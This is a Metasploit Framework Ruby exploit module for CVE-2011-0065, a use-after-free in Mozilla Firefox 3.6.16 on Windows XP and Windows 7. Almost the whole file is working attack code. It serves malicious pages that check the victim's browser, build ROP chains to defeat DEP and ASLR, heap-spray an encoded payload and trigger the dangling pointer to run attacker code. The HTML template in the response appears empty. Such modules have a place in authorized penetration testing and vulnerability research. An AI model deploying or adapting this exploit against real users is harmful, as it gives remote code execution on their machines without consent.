## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "3.6.16", :ua_maxver => "3.6.16", :os_name => OperatingSystems::WINDOWS, :javascript => true, :rank => NormalRanking, }) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability', 'Description' => %q{ This module exploits an use after free vulnerability in Mozilla Firefox 3.6.16. An OBJECT Element mChannel can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs data attribute. (Discovered by regenrecht). This module uses heapspray with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay, a windows 7 target was provided using JAVA 6 and below to avoid aslr. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', # discovery 'Rh0', # metasploit module 'mr_me ' # win7 target ], 'References' => [ ['CVE', '2011-0065'], ['OSVDB', '72085'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], # DEP bypass [ 'Firefox 3.6.16 on Windows XP SP3', { 'Arch' => ARCH_X86, 'Fakevtable' => 0x0c00, 'Fakefunc' => 0x0c00001c, } ], # requires JAVA <= JAVA 6 update 26 # cop stack pivot = ASLR/DEP bypass [ 'Firefox 3.6.16 on Windows 7 + Java', { 'Arch' => ARCH_X86, 'Fakevtable' => 0x1000, 'Fakefunc' => 0x100002a4, 'Ppppr' => 0x7c3410c0, 'Retn' => 0x7c3410c4, } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 10 2011' )) end def junk return rand_text_alpha(4).unpack("L")[0].to_i end def on_request_uri(cli, request) # Random JavaScript variable names js_element_name = rand_text_alpha(rand(10) + 5) js_obj_addr_name = rand_text_alpha(rand(10) + 5) js_sc_name = rand_text_alpha(rand(10) + 5) js_ret_addr_name = rand_text_alpha(rand(10) + 5) js_chunk_name = rand_text_alpha(rand(10) + 5) js_final_chunk_name = rand_text_alpha(rand(10) + 5) js_block_name = rand_text_alpha(rand(10) + 5) js_array_name = rand_text_alpha(rand(10) + 5) js_retns = rand_text_alpha(rand(10) + 5) js_applet_name = rand_text_alpha(rand(10) + 5) js_ppppr = rand_text_alpha(rand(10) + 5) js_filler = rand_text_alpha(rand(10) + 5) agent = request.headers['User-Agent'] # Set target manually or automatically my_target = target if my_target.name == 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/ my_target = targets[1] elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/ my_target = targets[2] end end # check for non vulnerable targets if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/ print_error("Target not supported: #{agent}") send_not_found(cli) return end # Re-generate the payload return if ((p = regenerate_payload(cli).encoded) == nil) if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/ html_trigger = "" if ("/" == get_resource[-1,1]) html_trigger = get_resource[0, get_resource.length - 1] else html_trigger = get_resource end custom_js = <<-JS function forward() { window.location = window.location + "#{html_trigger}.html"; } function start() { setTimeout("forward()", 3500); } start(); JS else if my_target.name =~ /Windows XP/ # DEP bypass using xul.dll rop_gadgets = [ 0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll] junk, # junk --------------------------------------------------------------^^ 0x7c801ad4, # VirtualProtect junk, # junk -------------------------------------------------------------------------^^ junk, # junk -------------------------------------------------------------------------^^ 0x1003876B, # jmp esp 0x0c000040, # start address 0x00000400, # size 1024 0x00000040, # Page EXECUTE_READ_WRITE 0x0c0c0c00, # old protection ].pack("V*") rop = rop_gadgets elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/ # 5 gadgets to pivot using call oriented programming (cop) # these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr) # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C] # 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0] # 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20] # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack) # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN rop_pivot = [ 0x6D32280C, # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C] junk, # filler 0x6D7E627D, # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack) 0x7C3413A4, # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN ].pack("V*") # 319 # rop nops - RETN rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65) # POP r32 / RETN rop_pivot << [0x7c3410c3].pack("V*") # 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20] rop_pivot << [0x6D7E5CDA].pack("V*") # rop nops - RETN rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65) # POP r32 / RETN rop_pivot << [0x7c3410c3].pack("V*") # 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0] rop_pivot << [0x6D325BFC].pack("V*") # https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ rop_gadgets = [ 0x7c346c0a, # POP EAX / RETN 0x7c37a140, # Make EAX readable 0x7c37591f, # PUSH ESP / ... / POP ECX / POP EBP / RETN junk, # EBP (filler) 0x7c346c0a, # POP EAX / RETN 0x7c37a140, # *&VirtualProtect() 0x7c3530ea, # MOV EAX,[EAX] / RETN 0x7c346c0b, # Slide, so next gadget would write to correct stack location 0x7c376069, # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN junk, # EDI (filler) junk, # will be patched at runtime (VP), then picked up into ESI junk, # EBX (filler) 0x7c376402, # POP EBP / RETN 0x7c345c30, # ptr to 'push esp / ret' 0x7c346c0a, # POP EAX / RETN 0xfffffdff, # size 0x00000201 -> ebx 0x7c351e05, # NEG EAX / RETN 0x7c354901, # POP EBX / RETN 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX / FPATAN / RETN 0x7c352174, # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN 0x7c34d201, # POP ECX / RETN 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI / RETN 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX / RETN 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX / RETN 0x7c346c0a, # POP EAX / RETN 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD / ADD AL,0EF / RETN 0x90909090, # NOPS (-> eax) ].pack("V*") rop = rop_pivot + rop_gadgets end payload_buf = '' payload_buf << rop payload_buf << p escaped_payload = Rex::Text.to_unescape(payload_buf) # setup the fake memory references fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v')) fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*')) if my_target.name =~ /Windows XP/ # fast loading JS so we dont get the 'unresponsive script' warning from ff custom_js = <<-JS #{js_element_name} = document.getElementById("d"); #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0) #{js_obj_addr_name} = unescape("\x00#{fakevtable}"); var #{js_sc_name} = unescape("#{escaped_payload}"); var #{js_ret_addr_name} = unescape("#{fakefunc}"); while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};} var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2); #{js_chunk_name} += #{js_sc_name}; #{js_chunk_name} += #{js_ret_addr_name}; var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2); while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};} var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2); #{js_array_name} = new Array() for (n=0;n<0x80;n++){ #{js_array_name}[n] = #{js_block_name} + #{js_sc_name}; } JS elsif my_target.name =~ /Windows 7/ # setup precision heap spray ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*')) retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*')) # fast loading JS so we dont get the 'unresponsive script' warning from ff # precision heap spray custom_js = <<-JS #{js_element_name} = document.getElementById("d"); #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0) #{js_obj_addr_name} = unescape("\x00#{fakevtable}"); var #{js_sc_name} = unescape("#{escaped_payload}"); var #{js_ret_addr_name} = unescape("#{fakefunc}"); var #{js_retns} = unescape("#{retns}"); #{js_ret_addr_name} += #{js_retns}; #{js_ret_addr_name} += #{js_retns}; #{js_ret_addr_name} += #{js_retns}; #{js_ret_addr_name} += #{js_retns}; var #{js_ppppr} = unescape("#{ppppr}"); #{js_ret_addr_name} += #{js_ppppr}; var #{js_filler} = unescape("%u4344%u4142"); while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};} while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};} var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2); #{js_chunk_name} += #{js_sc_name}; #{js_chunk_name} += #{js_filler}; #{js_chunk_name} += #{js_ret_addr_name}; var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2); while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};} var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2); #{js_array_name} = new Array() for (n=0;n<0x80;n++){ #{js_array_name}[n] = #{js_block_name} + #{js_sc_name}; } JS end end html = <<-HTML HTML #Remove the extra tabs html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response_html(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end